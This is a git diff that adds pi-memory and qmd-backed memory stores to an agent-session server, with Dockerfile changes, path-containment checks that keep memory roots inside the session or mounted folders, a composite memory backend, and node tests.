diff --git a/.gitignore b/.gitignore index 3a4447d2..a7e28ed9 100644 --- a/.gitignore +++ b/.gitignore @@ -30,6 +30,9 @@ ui-dist # Server-managed shared folders sessions mount into their root .shared +# Server-owned qmd indexes for pi-memory stores +.qmd-state + # Editor directories and files .vscode/* !.vscode/extensions.json diff --git a/Dockerfile b/Dockerfile index 45e11c94..571d09d9 100644 --- a/Dockerfile +++ b/Dockerfile @@ -30,6 +30,10 @@ RUN apt-get update \ # Pin the Pi coding agent so the `pi` binary is on PATH. RUN npm install -g @earendil-works/pi-coding-agent@0.84.4 +# Pin qmd (used by the pi-memory extension at runtime): pi-memory shells out to +# qmd subcommands and parses their --json output. +RUN npm install -g @tobilu/qmd@2.8.3 + WORKDIR /app # --------------------------------------------------------------------------- @@ -87,6 +91,9 @@ ENV NODE_ENV=production ENV PORT=8080 # Writable locations on Cloud Run for session workspaces and Pi's lockfiles/config. ENV SESSIONS_ROOT=/tmp/sessions +# pi-memory qmd indexes; keep on the same storage as the stores they index. qmd +# models (~2 GB) download to $HOME/.cache/qmd/models on first semantic search. +ENV QMD_STATE_ROOT=/tmp/qmd-state ENV HOME=/tmp ENV PI_BIN=pi # Base URL of the LLM proxy the bundled proxy-provider extension points Pi at. @@ -100,10 +107,13 @@ ENV PI_PROXY_URL=https://proxy.shopify.ai COPY --from=builder /app/apps/server/dist ./dist -# esbuild and better-sqlite3 are kept external by apps/server/build.mjs (native -# binaries, used at runtime). Install just them so node can resolve the bare -# imports from /app/dist/index.js. -RUN npm install --no-save --no-package-lock esbuild@0.28.0 better-sqlite3@12.10.0 +# Runtime-external deps the bundle cannot inline (esbuild + better-sqlite3 native +# addons, plus the pi-memory .ts extension loaded by the pi subprocess). Their +# names and lockfile-exact versions come from the build's dist/externals.json, so +# nothing is pinned here. --omit=peer: pi-memory's @earendil-works/* peers are +# provided by the globally-installed pi from the base stage. +RUN npm install --no-save --no-package-lock --omit=peer \ + $(node -p "Object.entries(require('./dist/externals.json')).map(([n,v])=>n+'@'+v).join(' ')") EXPOSE 8080 diff --git a/Dockerfile.fullstack b/Dockerfile.fullstack index ef0b077b..4d9a3c3a 100644 --- a/Dockerfile.fullstack +++ b/Dockerfile.fullstack @@ -35,6 +35,10 @@ RUN apt-get update \ # Pin the Pi coding agent so the `pi` binary is on PATH. RUN npm install -g @earendil-works/pi-coding-agent@0.84.4 +# Pin qmd (used by the pi-memory extension at runtime): pi-memory shells out to +# qmd subcommands and parses their --json output. +RUN npm install -g @tobilu/qmd@2.8.3 + WORKDIR /app # --------------------------------------------------------------------------- @@ -117,6 +121,9 @@ ENV NODE_ENV=production ENV PORT=8000 # Writable locations on Cloud Run for session workspaces and Pi's lockfiles/config. ENV SESSIONS_ROOT=/tmp/sessions +# pi-memory qmd indexes; keep on the same storage as the stores they index. qmd +# models (~2 GB) download to $HOME/.cache/qmd/models on first semantic search. +ENV QMD_STATE_ROOT=/tmp/qmd-state ENV HOME=/tmp ENV PI_BIN=pi @@ -129,10 +136,13 @@ COPY docker/nginx.conf.template /app/docker/nginx.conf.template COPY docker/docker-entrypoint.sh /app/docker/docker-entrypoint.sh RUN chmod +x /app/docker/docker-entrypoint.sh -# esbuild and better-sqlite3 are kept external by apps/server/build.mjs (native -# binaries, used at runtime). Install just them so node can resolve the bare -# imports from /app/dist/index.js. -RUN npm install --no-save --no-package-lock esbuild@0.28.0 better-sqlite3@12.10.0 +# Runtime-external deps the bundle cannot inline (esbuild + better-sqlite3 native +# addons, plus the pi-memory .ts extension loaded by the pi subprocess). Their +# names and lockfile-exact versions come from the build's dist/externals.json, so +# nothing is pinned here. --omit=peer: pi-memory's @earendil-works/* peers are +# provided by the globally-installed pi from the base stage. +RUN npm install --no-save --no-package-lock --omit=peer \ + $(node -p "Object.entries(require('./dist/externals.json')).map(([n,v])=>n+'@'+v).join(' ')") EXPOSE 8000 diff --git a/apps/server/build.mjs b/apps/server/build.mjs index 408dcd1e..07f72e8c 100644 --- a/apps/server/build.mjs +++ b/apps/server/build.mjs @@ -6,7 +6,8 @@ // as raw TypeScript) are copied next to the bundle, since bundling flattens // everything into `dist/`. import { existsSync, readdirSync, statSync } from "node:fs"; -import { cp, rm } from "node:fs/promises"; +import { cp, rm, writeFile } from "node:fs/promises"; +import { createRequire } from "node:module"; import path from "node:path"; import { fileURLToPath } from "node:url"; @@ -17,6 +18,13 @@ const piSrc = path.join(serverDir, "src", "pi"); const migrationsSrc = path.join(serverDir, "src", "store", "db", "migrations"); const outDir = path.join(serverDir, "dist"); +// Deps the self-contained bundle cannot inline, so they must be installed on +// disk at runtime: esbuild + better-sqlite3 are native addons (kept `external` +// below), and pi-memory is resolved dynamically and loaded as a `.ts` Pi +// extension by the agent subprocess. Their versions are emitted to +// dist/externals.json so the runtime image installs them without re-pinning. +const RUNTIME_EXTERNALS = ["esbuild", "better-sqlite3", "pi-memory"]; + await rm(outDir, { recursive: true, force: true }); await build({ @@ -31,8 +39,10 @@ await build({ // esbuild now runs at runtime (to transpile bundle UI sources); it ships a // native binary and cannot be inlined, so keep it as a runtime dependency. // better-sqlite3 is a native addon and likewise stays external (resolved from - // node_modules at runtime). - external: ["esbuild", "better-sqlite3"], + // node_modules at runtime). pi-memory is never statically imported (it's + // resolved dynamically), so marking it external is a harmless no-op that keeps + // the runtime-external set in one place. + external: RUNTIME_EXTERNALS, // Provide `require` in the ESM output for CJS deps that reach for it. banner: { js: 'import { createRequire as _cr } from "node:module"; const require = _cr(import.meta.url);', @@ -62,11 +72,26 @@ await cp(path.join(piSrc, "extensions"), path.join(outDir, "extensions"), { // these via `new URL("./migrations", import.meta.url)`, i.e. `dist/migrations`. await cp(migrationsSrc, path.join(outDir, "migrations"), { recursive: true }); +// Manifest of the runtime-external deps + their resolved (lockfile-exact) +// versions, so the runtime image installs them without re-pinning here. +const require = createRequire(import.meta.url); +const externals = Object.fromEntries( + RUNTIME_EXTERNALS.map((name) => [ + name, + require(`${name}/package.json`).version, + ]), +); +await writeFile( + path.join(outDir, "externals.json"), + `${JSON.stringify(externals, null, 2)}\n`, +); + // Fail the build loudly if any asset the server reads relative to dist/ is // missing, so drift surfaces here instead of as a runtime "path does not // exist" crash inside a Pi subprocess. const requiredAssets = [ "index.js", + "externals.json", "subagentSystemPrompt.md", "primeSystemPrompt.md", "agents", diff --git a/apps/server/package.json b/apps/server/package.json index 9d861110..7ed6d121 100644 --- a/apps/server/package.json +++ b/apps/server/package.json @@ -26,6 +26,7 @@ "express": "^5.2.1", "fflate": "^0.8.3", "multer": "^2.1.1", + "pi-memory": "0.4.2", "socket.io": "^4.8.3", "yaml": "^2.9.0", "zod": "^4.4.3" diff --git a/apps/server/src/config.ts b/apps/server/src/config.ts index b511debf..4c0107a3 100644 --- a/apps/server/src/config.ts +++ b/apps/server/src/config.ts @@ -6,6 +6,8 @@ import { DEFAULT_THINKING_LEVEL, } from "@tangent/shared/contracts.ts"; +import { nestedRoots } from "./memory/paths.ts"; + function readAbsoluteUrl(name: string, fallback: string): string { const value = process.env[name] ?? fallback; try { @@ -22,10 +24,12 @@ export const PORT = Number(process.env.PORT ?? 8787); /** * Root directory that holds every session's scoped folder. Each session gets * its own subdirectory (`SESSIONS_ROOT/`) which a Pi worker will run in. - * Gitignored by default. + * Gitignored by default. Always absolute, so path-containment checks against a + * session root compare like with like. */ -export const SESSIONS_ROOT = - process.env.SESSIONS_ROOT ?? path.resolve(process.cwd(), ".sessions"); +export const SESSIONS_ROOT = path.resolve( + process.env.SESSIONS_ROOT ?? path.join(process.cwd(), ".sessions"), +); /** * SQLite database file backing session, asset, and agent-roster metadata. @@ -51,8 +55,29 @@ export const AGENT_BUNDLES_ROOT = * its own subdirectory (`SHARED_ROOT/`) that any number of sessions may link * to, so edits in one session are visible to the others. Gitignored by default. */ -export const SHARED_ROOT = - process.env.SHARED_ROOT ?? path.resolve(process.cwd(), ".shared"); +export const SHARED_ROOT = path.resolve( + process.env.SHARED_ROOT ?? path.join(process.cwd(), ".shared"), +); + +/** + * Root directory holding each pi-memory store's qmd index and collection config, + * kept out of the store itself so agents that can write a shared folder can't + * plant qmd `update:` hooks or repoint the collection. Must not be named `.qmd`: + * qmd adopts any `.qmd/index.yml` above its working directory. Gitignored by + * default. + */ +export const QMD_STATE_ROOT = path.resolve( + process.env.QMD_STATE_ROOT ?? path.join(process.cwd(), ".qmd-state"), +); + +// Agents write the session and shared trees, and qmd state is keyed by which +// root a store sits under, so the three must stay disjoint. +const nested = nestedRoots({ SESSIONS_ROOT, SHARED_ROOT, QMD_STATE_ROOT }); +if (nested) { + throw new Error( + `${nested[0]} and ${nested[1]} must not be the same directory or nested inside each other`, + ); +} /** * Name of the per-session subdirectory whose contents are served over HTTP as diff --git a/apps/server/src/index.ts b/apps/server/src/index.ts index da9e2104..42e551fd 100644 --- a/apps/server/src/index.ts +++ b/apps/server/src/index.ts @@ -21,6 +21,8 @@ import { ResourceCatalog } from "./conversation/resourceCatalog.ts"; import { ExternalSubagentGateway } from "./external/externalSubagentGateway.ts"; import { RelayRegistry } from "./mcp/relayRegistry.ts"; import { createRelayReport } from "./mcp/relayReport.ts"; +import { mountedFolderPaths } from "./memory/binding.ts"; +import { MemoryResolver } from "./memory/resolver.ts"; import { createEmbedCors } from "./middleware/embedCors.ts"; import { errorHandler } from "./middleware/errorHandler.ts"; import { HostResourcePreamble } from "./pi/hostResourcePreamble.ts"; @@ -126,9 +128,18 @@ const io = new SocketIOServer(httpServer, { pingTimeout: 10_000, }); -// Owns the agents' global + per-session memory stores. +// Owns the agents' global + per-session SimpleMD memory stores. Still the +// imperative store the global-memory route, chat handlers, and host-resource +// writes use directly. const memory = new MemoryManager(); +// Resolves each session's pluggable memory (always-on SimpleMD plus the +// session's own memory binding, when it declares one) for the Pi spawn and the +// internal /call API. +const memoryResolver = new MemoryResolver(memory, store, async (sessionId) => + mountedFolderPaths(await resourceStore.listForSession(sessionId)), +); + // Owns each session's triggers (schedule + callback) and their persistence. const triggers = new TriggerManager(); @@ -278,7 +289,7 @@ void store // Socket.IO room by the chat handlers. const pi = new PiAgentManager( agentHandlers, - memory, + memoryResolver, runs, hostResourcePreamble, ); @@ -510,12 +521,13 @@ app.use( // Internal API for the memory extension running inside each Pi process. app.use( "/internal/memory", - createInternalMemoryRouter( + createInternalMemoryRouter({ store, - memory, - onMemoryRemembered, - onMemorySuggestion, - ), + resolver: memoryResolver, + agents: pi, + onRemembered: onMemoryRemembered, + onSuggestion: onMemorySuggestion, + }), ); // Internal API for the resources extension running inside each Pi process. app.use( diff --git a/apps/server/src/memory/binding.ts b/apps/server/src/memory/binding.ts new file mode 100644 index 00000000..410a31f5 --- /dev/null +++ b/apps/server/src/memory/binding.ts @@ -0,0 +1,174 @@ +import { statSync } from "node:fs"; +import path from "node:path"; + +import type { MemoryBinding, Resource } from "@tangent/shared/contracts.ts"; + +import { sharedFolderPath } from "../store/sharedFolderStore.ts"; +import { canonicalPath, isStrictlyInside } from "./paths.ts"; +import { piMemoryInstalled } from "./piMemory.ts"; + +/** Default session-local directory for a `pi-memory` leaf with no `root`. */ +export const DEFAULT_PI_MEMORY_DIR = ".pi-memory"; + +export type PiMemoryBinding = Extract; + +/** Backing directories of the shared folders a session's catalog has mounted. */ +export function mountedFolderPaths(resources: readonly Resource[]): string[] { + return resources.flatMap((resource) => { + const id = resource.meta?.sharedFolderId; + if (resource.kind !== "mount" || typeof id !== "string") return []; + return [sharedFolderPath(id)]; + }); +} + +/** + * Resolves a binding's session-root-relative `root` into the canonical directory + * it names, strictly inside the (absolute) session root `base`. A `root` + * pointing at a mounted shared folder (`` or `/...`, the + * mount itself a symlink under the root) shares the store; the guard rejects + * traversal/absolute paths that would escape the session root, and the session + * root itself, whose `MEMORY.md` is SimpleMD's session memory. Symlinks are then + * resolved and the real path must be one of `mountedFolders`, or sit inside one + * or inside the session root, so a re-pointed mount or a link planted in a + * folder can't redirect the store into another session or an unmounted folder. + * Callers keep the returned path rather than re-resolving it, so a later relink + * can't move the store either. + */ +export function resolveRoot( + base: string, + rel: string, + mountedFolders: readonly string[], +): string { + const resolved = path.resolve(base, rel); + if (resolved === base) { + throw new Error( + `[memory] binding root "${rel}" is the session root itself; ignoring`, + ); + } + if (!isStrictlyInside(resolved, base)) { + throw new Error( + `[memory] binding root "${rel}" escapes the session root; ignoring`, + ); + } + // Bindings stored before the schema rejected it; see manifest.ts storeRoot. + if (path.relative(base, resolved).split(path.sep).includes(".qmd")) { + throw new Error( + `[memory] binding root "${rel}" has a .qmd segment, which qmd would treat as its own config dir; ignoring`, + ); + } + const real = canonicalPath(resolved); + const inMount = mountedFolders + .map(canonicalPath) + .some((mount) => real === mount || isStrictlyInside(real, mount)); + if (!inMount && !isStrictlyInside(real, canonicalPath(base))) { + throw new Error( + `[memory] binding root "${rel}" resolves through a symlink to ${real}, outside the session and its mounted folders; ignoring`, + ); + } + return real; +} + +/** + * True when a binding `root` can be used: pi-memory's default session-local + * directory (created on demand), or a root whose top-level entry is an existing + * directory — a mounted shared folder. The stat follows symlinks, so a dangling mount is + * unavailable. A missing top-level is never created: it would occupy a mount + * name. + */ +export function storeAvailable(base: string, rel: string): boolean { + const [top] = path.normalize(rel).split(path.sep).filter(Boolean); + if (top === DEFAULT_PI_MEMORY_DIR) return true; + try { + return statSync(path.join(base, top)).isDirectory(); + } catch { + return false; + } +} + +/** Number of `pi-memory` leaves anywhere in a binding tree. */ +export function countPiMemoryLeaves(binding: MemoryBinding): number { + if (binding.kind === "pi-memory") return 1; + if (binding.kind === "simple-md") return 0; + return binding.children.reduce( + (count, child) => count + countPiMemoryLeaves(child), + 0, + ); +} + +/** + * A pi-memory leaf's usable store under the absolute session root `base` — its + * canonical `dir` and the session-root-relative `label` shown to agents — or + * the `reason` it can't be used. + */ +export function checkPiMemoryStore( + binding: PiMemoryBinding, + base: string, + mountedFolders: readonly string[], +): { dir: string; label: string } | { reason: string } { + const rel = binding.root ?? DEFAULT_PI_MEMORY_DIR; + let dir: string; + try { + dir = resolveRoot(base, rel, mountedFolders); + } catch (err) { + return { reason: err instanceof Error ? err.message : String(err) }; + } + if (!storeAvailable(base, rel)) { + return { reason: `root "${rel}" is not an existing folder` }; + } + if (!piMemoryInstalled()) { + return { reason: "the pi-memory package is not installed" }; + } + return { dir, label: path.relative(base, path.resolve(base, rel)) }; +} + +/** A `simple-md` leaf kept at creation: rootless, or rooted in an existing folder. */ +function settleSharedNote( + binding: Extract, + base: string, + sessionId: string, +): MemoryBinding | undefined { + if (!binding.root || storeAvailable(base, binding.root)) return binding; + console.warn( + `[memory] session ${sessionId}: dropping simple-md note (root "${binding.root}" is not an existing folder); the session uses SimpleMD only`, + ); + return undefined; +} + +function settleNode( + binding: MemoryBinding, + base: string, + sessionId: string, + mountedFolders: readonly string[], +): MemoryBinding | undefined { + if (binding.kind === "simple-md") { + return settleSharedNote(binding, base, sessionId); + } + if (binding.kind === "pi-memory") { + const store = checkPiMemoryStore(binding, base, mountedFolders); + if (!("reason" in store)) return binding; + console.warn( + `[memory] session ${sessionId}: dropping pi-memory (${store.reason}); the session uses SimpleMD only`, + ); + return undefined; + } + const children = binding.children + .map((child) => settleNode(child, base, sessionId, mountedFolders)) + .filter((child): child is MemoryBinding => child !== undefined); + return children.length > 0 ? { kind: "composite", children } : undefined; +} + +/** + * The binding a new session keeps, decided once at creation (after its seed + * mounts exist): each `pi-memory` or rooted `simple-md` leaf whose store isn't + * available is dropped, so the session stays SimpleMD-only for its lifetime + * instead of picking the store up (or creating it at a mount name) later. + */ +export function settleBinding( + binding: MemoryBinding | undefined, + sessionId: string, + rootPath: string, + mountedFolders: readonly string[], +): MemoryBinding | undefined { + if (!binding) return undefined; + return settleNode(binding, path.resolve(rootPath), sessionId, mountedFolders); +} diff --git a/apps/server/src/memory/composite.ts b/apps/server/src/memory/composite.ts new file mode 100644 index 00000000..ddd94fea --- /dev/null +++ b/apps/server/src/memory/composite.ts @@ -0,0 +1,91 @@ +import type { + AgentRole, + MemoryBackend, + MemoryContext, + MemoryExecuteResult, + MemorySpawnExtras, + MemoryToolSpec, +} from "./types.ts"; + +/** Accumulator the composite folds each child's spawn extras into. */ +interface SpawnAcc { + env: Record; + extensionPaths: string[]; + allowlistTools: string[]; +} + +/** Folds one child's (optional) spawn extras into the accumulator. */ +function mergeExtras( + acc: SpawnAcc, + extras: MemorySpawnExtras | undefined, +): void { + if (!extras) return; + Object.assign(acc.env, extras.env ?? {}); + acc.extensionPaths.push(...(extras.extensionPaths ?? [])); + acc.allowlistTools.push(...(extras.allowlistTools ?? [])); +} + +/** + * Unions several {@link MemoryBackend} children into one: it inits each child, + * concatenates their preambles, merges their tools and spawn extras, and routes + * an `execute` to the first child that recognizes the tool name. A session's + * resolved memory is a CompositeMemory of the always-on SimpleMD store plus (in + * a later phase) a mounted shared folder's backend. + */ +export class CompositeMemory implements MemoryBackend { + readonly kind = "composite"; + private readonly children: readonly MemoryBackend[]; + + constructor(children: readonly MemoryBackend[]) { + this.children = children; + } + + init(ctx: MemoryContext): void { + for (const child of this.children) child.init(ctx); + } + + preamble(ctx: MemoryContext, role: AgentRole): string { + return this.children + .map((child) => child.preamble(ctx, role).trim()) + .filter(Boolean) + .join("\n\n"); + } + + tools(role: AgentRole): MemoryToolSpec[] { + const seen = new Set(); + const specs: MemoryToolSpec[] = []; + for (const child of this.children) { + for (const spec of child.tools(role)) { + if (seen.has(spec.name)) continue; + seen.add(spec.name); + specs.push(spec); + } + } + return specs; + } + + spawn(ctx: MemoryContext, role: AgentRole): MemorySpawnExtras { + const acc: SpawnAcc = { env: {}, extensionPaths: [], allowlistTools: [] }; + for (const child of this.children) { + mergeExtras(acc, child.spawn?.(ctx, role)); + } + return { + env: acc.env, + extensionPaths: [...new Set(acc.extensionPaths)], + allowlistTools: [...new Set(acc.allowlistTools)], + }; + } + + execute( + name: string, + params: Record, + ctx: MemoryContext, + role: AgentRole, + ): MemoryExecuteResult | undefined { + for (const child of this.children) { + const result = child.execute(name, params, ctx, role); + if (result) return result; + } + return undefined; + } +} diff --git a/apps/server/src/memory/droppedNotice.ts b/apps/server/src/memory/droppedNotice.ts new file mode 100644 index 00000000..67f29e9e --- /dev/null +++ b/apps/server/src/memory/droppedNotice.ts @@ -0,0 +1,44 @@ +import type { MemoryBackend, MemoryToolSpec } from "./types.ts"; + +/** + * A preamble-only backend telling agents that memory the session is bound to + * was left out of this spawn — typically a shared folder unmounted or deleted + * after creation — so they don't read its absence as an empty memory or keep + * editing it through a leftover workspace link. + */ +export class DroppedMemoryNotice implements MemoryBackend { + readonly kind = "dropped-notice"; + private readonly labels: readonly string[]; + + /** @param labels the dropped leaves' roots, as the binding names them */ + constructor(labels: readonly string[]) { + this.labels = labels; + } + + init(): void { + // Nothing to prepare: the notice only contributes a preamble. + } + + preamble(): string { + return [ + "## Project memory unavailable", + "", + "This session is bound to memory that couldn't be loaded, so it is not", + "in your context and its memory tools are off:", + "", + ...this.labels.map((label) => `- \`${label}\``), + "", + "Its shared folder may have been unmounted or deleted. Don't treat the", + "missing memory as empty or write to it through leftover workspace", + "paths; tell the user if it matters for the task.", + ].join("\n"); + } + + tools(): MemoryToolSpec[] { + return []; + } + + execute(): undefined { + return undefined; + } +} diff --git a/apps/server/src/memory/memory.test.ts b/apps/server/src/memory/memory.test.ts new file mode 100644 index 00000000..73e7abd9 --- /dev/null +++ b/apps/server/src/memory/memory.test.ts @@ -0,0 +1,915 @@ +import assert from "node:assert/strict"; +import { + existsSync, + mkdirSync, + mkdtempSync, + readdirSync, + readFileSync, + realpathSync, + rmSync, + symlinkSync, + writeFileSync, +} from "node:fs"; +import { tmpdir } from "node:os"; +import path from "node:path"; +import { after, test } from "node:test"; + +import type { MemoryBinding } from "@tangent/shared/contracts.ts"; +import { parse as parseYaml } from "yaml"; + +// Point roots at throwaway dirs before importing config-reading modules. +const SESS = mkdtempSync(path.join(tmpdir(), "mem-sess-")); +const SHARED = mkdtempSync(path.join(tmpdir(), "mem-shared-")); +const MEM = mkdtempSync(path.join(tmpdir(), "mem-global-")); +const QMD = mkdtempSync(path.join(tmpdir(), "mem-qmd-")); +process.env.SESSIONS_ROOT = SESS; +process.env.SHARED_ROOT = SHARED; +process.env.GLOBAL_MEMORY_DIR = MEM; +process.env.QMD_STATE_ROOT = QMD; + +const { CompositeMemory } = await import("./composite.ts"); +const { PiMemory } = await import("./piMemory.ts"); +const { SharedMarkdownMemory } = await import("./sharedMarkdown.ts"); +const { SimpleMdMemory } = await import("./simpleMd.ts"); +const { MemoryResolver } = await import("./resolver.ts"); +const { settleBinding } = await import("./binding.ts"); +const { removeSessionQmdState } = await import("./qmdState.ts"); +const { nestedRoots } = await import("./paths.ts"); +const { memoryBindingSchema } = await import("../pi/config/manifest.ts"); +import type { SessionStore } from "../store/sessionStore.ts"; +import type { MemoryBackend, MemoryContext } from "./types.ts"; + +after(() => { + for (const dir of [SESS, SHARED, MEM, QMD]) { + rmSync(dir, { recursive: true, force: true }); + } +}); + +const CTX: MemoryContext = { sessionId: "s1", rootPath: SESS }; + +/** A canonical store path that never exists. */ +const PM = path.join(realpathSync(SESS), "no-such", "pm"); +/** {@link PM}'s server-owned qmd state directory. */ +const PM_QMD = path.join(QMD, "sessions", "no-such", "pm"); + +/** A fresh session root under {@link SESS}. */ +function sessionRoot(name: string): string { + const root = path.join(SESS, name); + mkdirSync(root, { recursive: true }); + return root; +} + +/** A trivial leaf used to probe composite routing without touching disk. */ +function fakeLeaf( + over: Partial & { kind: string }, +): MemoryBackend { + return { + kind: over.kind, + init: over.init ?? (() => {}), + preamble: over.preamble ?? (() => ""), + tools: over.tools ?? (() => []), + spawn: over.spawn, + execute: over.execute ?? (() => undefined), + }; +} + +/** The heading of a loaded project store's preamble (shared note or pi-memory). */ +const LOADED_STORE = /^## Project memory( \(pi-memory\))?$/m; +const DROPPED_NOTICE = /^## Project memory unavailable$/m; + +/** Asserts a preamble loads no project store and flags the binding as dropped. */ +function assertDroppedOnly(preamble: string): void { + assert.doesNotMatch(preamble, LOADED_STORE); + assert.match(preamble, DROPPED_NOTICE); +} + +test("CompositeMemory concatenates preambles and routes execute to the owner", () => { + const a = fakeLeaf({ + kind: "a", + preamble: () => "A-pre", + execute: (name) => (name === "ta" ? { text: "from-a" } : undefined), + }); + const b = fakeLeaf({ + kind: "b", + preamble: () => "B-pre", + execute: (name) => (name === "tb" ? { text: "from-b" } : undefined), + }); + const composite = new CompositeMemory([a, b]); + + assert.equal(composite.preamble(CTX, "prime"), "A-pre\n\nB-pre"); + assert.equal(composite.execute("tb", {}, CTX, "prime")?.text, "from-b"); + assert.equal(composite.execute("unknown", {}, CTX, "prime"), undefined); +}); + +test("CompositeMemory merges spawn extras and dedupes allowlist tools", () => { + const a = fakeLeaf({ + kind: "a", + spawn: () => ({ env: { A: "1", SHARED: "same" }, allowlistTools: ["x"] }), + }); + const b = fakeLeaf({ + kind: "b", + spawn: () => ({ + env: { B: "2", SHARED: "same" }, + extensionPaths: ["/ext/b.ts"], + allowlistTools: ["x", "y"], + }), + }); + const extras = new CompositeMemory([a, b]).spawn(CTX, "prime"); + + assert.deepEqual(extras.env, { A: "1", B: "2", SHARED: "same" }); + assert.deepEqual(extras.extensionPaths, ["/ext/b.ts"]); + assert.deepEqual(new Set(extras.allowlistTools), new Set(["x", "y"])); +}); + +test("PiMemory grants all tools to prime and read-only to sub-agents", () => { + const pi = new PiMemory(PM); + + const prime = pi.spawn(CTX, "prime"); + assert.equal(prime.env?.PI_MEMORY_DIR, PM); + assert.equal(prime.extensionPaths?.length, 1); + assert.deepEqual( + new Set(prime.allowlistTools), + new Set([ + "memory_write", + "memory_forget", + "memory_restore", + "memory_read", + "scratchpad", + "memory_search", + "memory_status", + ]), + ); + + const sub = pi.spawn(CTX, "subagent"); + assert.deepEqual( + new Set(sub.allowlistTools), + new Set(["memory_read", "memory_search", "memory_status"]), + ); + assert.equal(pi.tools().length, 0); +}); + +test("PiMemory maps config onto env knobs and drops search when disabled", () => { + const pi = new PiMemory(PM, { + exitSummary: false, + snapshot: "per-turn", + qmdUpdate: "off", + search: false, + exitSummaryModel: "anthropic/claude", + }); + const prime = pi.spawn(CTX, "prime"); + + assert.deepEqual(prime.env, { + PI_MEMORY_DIR: PM, + INDEX_PATH: path.join(PM_QMD, "index.sqlite"), + QMD_CONFIG_DIR: PM_QMD, + PI_MEMORY_EXIT_SUMMARY: "0", + PI_MEMORY_SNAPSHOT: "per-turn", + PI_MEMORY_QMD_UPDATE: "off", + PI_MEMORY_NO_SEARCH: "1", + PI_MEMORY_EXIT_SUMMARY_MODEL: "anthropic/claude", + }); + assert.equal(prime.allowlistTools?.includes("memory_search"), false); +}); + +test("PiMemory with no config leaves every knob at pi-memory's defaults", () => { + const prime = new PiMemory(PM).spawn(CTX, "prime"); + assert.deepEqual(prime.env, { + PI_MEMORY_DIR: PM, + INDEX_PATH: path.join(PM_QMD, "index.sqlite"), + QMD_CONFIG_DIR: PM_QMD, + }); +}); + +test("PiMemory sub-agents never write exit summaries or update the index", () => { + const sub = new PiMemory(PM, { exitSummary: true }).spawn(CTX, "subagent"); + assert.equal(sub.env?.PI_MEMORY_EXIT_SUMMARY, "0"); + assert.equal(sub.env?.PI_MEMORY_QMD_UPDATE, "off"); +}); + +test("PiMemory scopes the qmd index to each store directory", () => { + const a = new PiMemory(path.join(SESS, "no-such", "a")).spawn(CTX, "prime"); + const b = new PiMemory(path.join(SESS, "no-such", "b")).spawn(CTX, "prime"); + + assert.notEqual(a.env?.INDEX_PATH, b.env?.INDEX_PATH); + assert.notEqual(a.env?.QMD_CONFIG_DIR, b.env?.QMD_CONFIG_DIR); +}); + +test("PiMemory preamble only offers sub-agents the tools they have", () => { + const pi = new PiMemory(PM); + assert.match(pi.preamble(CTX, "prime"), /memory_write/); + assert.doesNotMatch(pi.preamble(CTX, "subagent"), /memory_write|scratchpad/); + assert.match(pi.preamble(CTX, "subagent"), /memory_search/); + + const noSearch = new PiMemory(PM, { search: false }); + assert.doesNotMatch(noSearch.preamble(CTX, "prime"), /memory_search/); +}); + +test("SimpleMd rejects writes from sub-agents", () => { + const simpleMd = new SimpleMdMemory(); + for (const name of ["remember", "suggest_memory"]) { + const result = simpleMd.execute(name, { text: "x" }, CTX, "subagent"); + assert.equal(result?.error, true, `${name} is rejected for sub-agents`); + assert.equal(result?.effects, undefined); + } + const read = simpleMd.execute("read_memory", {}, CTX, "subagent"); + assert.equal(read?.error, undefined, "sub-agents can still read"); +}); + +test("SimpleMd validates remember and suggest params", () => { + const simpleMd = new SimpleMdMemory(); + const ctx = { sessionId: "s1", rootPath: sessionRoot("validate") }; + + const blank = simpleMd.execute("remember", { text: " " }, ctx, "prime"); + assert.equal(blank?.error, true, "blank text is rejected"); + const badScope = simpleMd.execute( + "suggest_memory", + { text: "fact", scope: "everywhere" }, + ctx, + "prime", + ); + assert.equal(badScope?.error, true, "an unknown scope is rejected"); + assert.equal(simpleMd.readSession(ctx.rootPath), "", "nothing was written"); + + const ok = simpleMd.execute("remember", { text: " fact " }, ctx, "prime"); + assert.equal(ok?.error, undefined); + assert.deepEqual(ok?.effects, [ + { kind: "remembered", scope: "session", text: "fact" }, + ]); +}); + +test("the binding schema allows at most one pi-memory leaf", () => { + const two: MemoryBinding = { + kind: "composite", + children: [ + { kind: "pi-memory", root: "a/mem" }, + { kind: "composite", children: [{ kind: "pi-memory", root: "b/mem" }] }, + ], + }; + assert.equal(memoryBindingSchema.safeParse(two).success, false); + + const one: MemoryBinding = { + kind: "composite", + children: [ + { kind: "simple-md", root: "notes" }, + { kind: "pi-memory", root: "a/mem" }, + ], + }; + assert.equal(memoryBindingSchema.safeParse(one).success, true); +}); + +/** A SessionStore stub whose only live method is getSessionMemory. */ +function sessionStoreWith(binding: MemoryBinding | undefined): SessionStore { + return { + getSessionMemory: async () => binding, + } as unknown as SessionStore; +} + +/** Resolves `binding` for a session rooted at `root` that mounted `mounts`. */ +function resolveWith( + binding: MemoryBinding | undefined, + root = SESS, + mounts: string[] = [], +) { + const resolver = new MemoryResolver( + new SimpleMdMemory(), + sessionStoreWith(binding), + async () => mounts, + ); + return resolver.resolve("s1", root); +} + +test("resolveDefault is SimpleMD only (no shared extension or env)", () => { + const resolver = new MemoryResolver(new SimpleMdMemory()); + const plan = resolver.resolveDefault("s1", SESS).spawnPlan("prime"); + + assert.equal(plan.extensionPaths.length, 0); + assert.deepEqual(plan.env, {}); + assert.ok(plan.allowlistTools.includes("read_memory")); + assert.equal(plan.allowlistTools.includes("memory_write"), false); +}); + +test("resolve points a pi-memory root into a mounted folder at its real path", async () => { + const root = sessionRoot("mounted"); + const folder = path.join(SHARED, "folder-1"); + mkdirSync(folder); + symlinkSync(folder, path.join(root, "proj"), "dir"); + + const resolved = await resolveWith( + { kind: "pi-memory", root: "proj/pi-memory" }, + root, + [folder], + ); + resolved.init(); + const plan = resolved.spawnPlan("prime"); + + const store = path.join(realpathSync(folder), "pi-memory"); + const qmdDir = path.join(QMD, "shared", "folder-1", "pi-memory"); + assert.equal(plan.env.PI_MEMORY_DIR, store); + assert.equal(plan.env.INDEX_PATH, path.join(qmdDir, "index.sqlite")); + assert.equal(plan.env.QMD_CONFIG_DIR, qmdDir); + assert.equal( + existsSync(path.join(store, ".qmd")), + false, + "no qmd state lands inside the shared folder", + ); + assert.equal(plan.extensionPaths.length, 1); + assert.ok(plan.allowlistTools.includes("read_memory")); + assert.ok(plan.allowlistTools.includes("memory_write")); + + const preamble = resolved.preamble("prime"); + assert.match(preamble, /`proj\/pi-memory\/` in your workspace/); + assert.ok( + preamble.includes(`canonical path \`${store}/\``), + "the preamble maps the workspace path to the path tools report", + ); +}); 